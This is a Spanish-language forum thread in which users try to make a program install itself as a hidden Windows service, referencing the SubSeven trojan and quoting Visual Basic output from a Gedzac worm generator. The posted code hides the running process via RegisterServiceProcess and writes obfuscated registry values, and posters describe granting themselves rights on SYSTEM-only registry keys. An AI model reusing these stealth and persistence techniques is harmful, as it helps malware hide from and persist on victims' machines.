Mensajes

Propongo una idea nueva. El SubSeven tiene la opcion de registrarse como servicio. Si se hace una comparacion del registro antes y despues de haber sido infectado tal vez podamos averiguar donde toca. Yo voy a intentarlo y a ver que me cuentas tu.

Tal vez sea lo que tu dices y modifique algo en el registro al iniciarse. Entonces para eso se deberia utilizar uno de estos programas que monitorizan el registro y te dicen si ha habido algun cambio. Desconozco el nombre de alguno de ellos. Tal vez tu lo sepas.

Juraria haber respondido esto antes pero no se donde ha ido a parar. Bueno el caso.

Esa clave solo puede ser modificada por SYSTEM. Sin embargo si te pones encima de

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root

y le das a permisos... puedes agregarte a ti mismo. Lo he conseguido a mano pero no se como se hara en VB.

Si te vas a "Mi PC / boton derecho / administrar" tambien puedes ver los servicios y tambien esta detenido. Si intentas ver sus propiedades dice lo siguiente:

Administrador de configuracion: el manipulador de instancia de dispositivo indicado no corresponde con ninguno de los dispositivos presentes.

Y si lo intentas iniciar a mano se ejecuta durante un tiempo (para verlo hay que decirle que interactue con el escritorio) pero acaba arrojando lo siguiente:

No se puede iniciar el servicio XXX en Equipo local.
Error 1053: El servicio no ha respondido a la peticion o inicio del control en un tiempo adecuado.

Asi que debe faltar añadir algo mas al registro. Yo no paro de darle vueltas y ahi ando pateandome el registro.

No se puede porque la entrada:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root

solo tiene permisos de SYSTEM. Sin embargo con "boton derecho / permisos..." te puedes agregar a ti mismo. Manualmente lo he conseguido pero mediante VB no se como se hara.

Casualmente vamos los dos tras lo mismo: Añadir un nuevo servicio.
Yo tambien estoy teniendo problemas para escribir el Security de un servicio. Pero me puse a buscar por la paginas de Gedzac y encontre un generador de gusanos. Segun selecciones unas opciones u otras te va dando un codigo distinto en VB. Entre ellas esta la opcion de registar el proceso como servicio. Si solo seleccionas eso te da lo siguiente.

Código [Seleccionar] Expandir

Private Sub Form_Load()
On Error Resume Next

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0)
Set DirSystem = Fso.GetSpecialFolder(1)
Set DirTemporal = Fso.GetSpecialFolder(2)
Set WsNet = CreateObject("WScript.Network")
MiNombre = App.Path & "\" & App.EXEName & ".exe"

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N"))
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o"))
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)


End Sub


Y un modulode variables:

Código [Seleccionar] Expandir

Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public MiNombre As String
Public Fso As Object
Public Ws As Object
Public WsNet As Object
Public DirSystem As Object
Public DirWindows As Object
Public DirTemporal As Object


Despues de darle muchas vueltas no consigo ver como lo hace. Tantos Replace me vuelven loco. Ademas tampoco me cuadra porque las dos entrada que cita no aparece en el registro.
Si tu eres capaz de comprenderlo pues perfecto pero me gustaria que si lo consigues que explicases aqui o por IM el funcinamiento.

Te cuento mi experiencia despues de hablerlo intentado.
Existe una dll creada para controlar el puerto paralelo. Yo hace tiempo intente usarla para encender unos leds al igual que tu. Despues de mucho investigar y programar codigo sin resultado, me di cuenta de que esa dll solo funciona en windows 98. Asi que si no se ha creado otra para winXP dudo mucho que lo puedas conseguir.
Si alguien puede contradecir mis conclusiones que lo haga.

k se añada un servicio kon privilegios system,pk reinicio y no sale nada,alomejor pongo un exe,cualkiera,y no realiza accion ninguna...

!
seguro k tiene k aber algo mas....
pd:el av añade los valores en el 002 y no en el 001....

Consejo:
En vez de seguir los pasos anteriormente indicados, cogete el registro de uno ya hecho e intentas copiarlo con las variaciones que tu necesites.

Que es lo que no has conseguido?

Ese code no tiene las modificaciones que has dicho anteriormente y asi deberia funcionarte correctamente.